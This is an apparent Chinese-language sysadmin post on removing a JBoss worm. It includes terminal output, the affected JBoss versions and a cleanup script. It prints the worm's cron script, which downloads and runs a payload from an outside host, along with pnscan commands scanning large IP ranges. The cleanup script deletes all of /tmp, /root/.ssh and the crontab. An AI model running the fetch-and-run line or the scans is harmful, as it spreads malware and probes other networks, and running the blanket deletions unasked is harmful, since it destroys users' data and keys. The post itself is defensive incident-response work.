最近在好几台机器上都发现jboss的蠕虫病毒,其表现的现象为机器速度慢,无明显的主机登陆信息,在jboss主目录的bin目录下,出现以kisses.tar.gz开头的多个文件。目前应用不能升级jboss(测试未通过),只能暂时处理一下。
2、通过对代码的分析,在系统中出现多个pnscan和/usr/share/jboss/tomcat进程,该病毒将病毒程序伪装为/usr/share/jboss/tomcat进程运行,实际上是通过perl程序调用,通过top可以发现踪迹。
3、清理病毒,由于病毒程序,首先先结束病毒,然后对病毒程序进行删除,一下是病毒的清理脚本。
# 再次确认清理
4、至此,病毒文件清理完成,因其通过wget进行下载运行,建议将wget卸载。
附:
因此蠕虫病毒有tomcat引起的,影响的版本如下:
https://access.redhat.com/site/solutions/30744
https://access.redhat.com/kb/docs/DOC-30741
http://community.jboss.org/blogs/mjc/2011/10/20/statement-regarding-security-threat-to-jboss-application-server
http://community.jboss.org/wiki/SecureTheJmxConsole
- [root@localhost tmp]# crontab -l
- 1 1 10 * * /root/.sysdbs
- 1 1 1 * * /bin/sh /root/.toor.sh
- 1 1 1 * * /root/.toor.sh
- 1 1 10 * * /root/.sysdbs
- [root@localhost tmp]# more /root/.toor.sh
- cd /tmp;wget http://backups.strangled.net/a.tar.gz;tar xzvf a.tar.gz;perl b.pl;python c.py
- [root@localhost bin]# cd $JBOSS/bin
- [root@localhost bin]# tar -tvf kisses.tar.gz
-rw-r--r-- toughc/toughc1686 2002-03-26 00:39:14 Makefile
-rw-r--r-- toughc/toughc3229 2002-03-26 00:34:47 bm.c
-rw-r--r-- toughc/toughc460 2002-03-23 21:54:55 bm.h
-rw-r--r-- toughc/toughc2939 2011-10-22 13:38:51 flu.pl
-rwxr-xr-x toughc/toughc5598 2002-03-25 06:25:47 install-sh
-rwxr-xr-x toughc/toughc132 2002-03-22 23:05:15 ipsort
-rw-r--r-- toughc/toughc4337 2011-10-22 13:38:01 linda.pl
-rw-r--r-- toughc/toughc 20211 2002-03-26 00:37:04 pnscan.c
-rw-r--r-- toughc/toughc25 2002-03-26 00:53:11 version.c - [root@localhost tmp]# find / -name pnscan
- /tmp/zsa/pnscan
- /usr/local/jboss-4.2.3.GA/bin/pnscan
- [root@localhost tmp]# ps -ef |grep pnscan
- root 754 21540 0 09:30 pts/3 00:00:00 grep pnscan
- root 1003 32088 0 09:28 ? 00:00:00 sh -c ./pnscan -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6500 150.34.0.0/16 80 > /tmp/sess_0088025413980486928597bf
150 - root 1009 1003 0 09:28 ? 00:00:00 ./pnscan -r JBoss -w HEAD / HTTP/1.0\r\n\r\n -t 6500 150.34.0.0/16 80
- root 24553 527 0 09:24 ? 00:00:00 sh -c ./pnscan -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6500 180.139.0.0/16 80 > /tmp/sess_0088025413980486928597bf
180 - root 24558 24553 0 09:24 ? 00:00:00 ./pnscan -r JBoss -w HEAD / HTTP/1.0\r\n\r\n -t 6500 180.139.0.0/16 80
- [root@localhost tmp]# more /tmp/killpnscan.sh
- #/usr/bin/sh
- # 清理病毒在内存中运行,如果pnscan清理不干净,需要手动杀进程
- crontab -l
- killall pnscan
- killall perl
- # 删除病毒文件
- cd /usr/local/jboss-4.2.3.GA/bin/
- rm -fr kiss*
- rm -f flu.pl
- rm -f bm.*
- rm -f javadd.tar.gz
- rm -f javadd.tar.gz*
- rm -f lind?.pl
- rm -f Makefile
- rm -f nohup.out
- rm -f pnscan*
- rm -f version.*
- rm -f install-sh
- rm -f ipsort
- rm -f jdb.tar.gz*
- rm -f fly.pl
- rm -f sysdbss*
- rm -f treat.sh
- rm -f /root/.ssh/*
- rm -f goodknight.*
- # 删除临时文件目录中的病毒
- cd /tmp
- rm -fr /tmp/.lime
- rm -fr /tmp/za
- rm -fr /tmp/zsa
- rm -f /tmp/*
- rm -fr /tmp/flu
- rm -fr /root/.sysdbs
- rm -fr /root/.toor.sh
- killall pnscan
- killall perl
- ps -ef |grep pnscan
- ps
-ef |grep tomcat - crontab -r
- rpm -e wget
- JBoss Application Server (AS) 4.0.x
- JBoss Communications Platform 1.2
- JBoss Enterprise Application Platform (EAP) 4.2, 4.3, 5.0
- JBoss Enterprise Portal Platform (EPP) 4.3
- JBoss Enterprise Web Platform (EWP) 5.0
- JBoss SOA-Platform (SOA-P) 4.2, 4.3, 5.0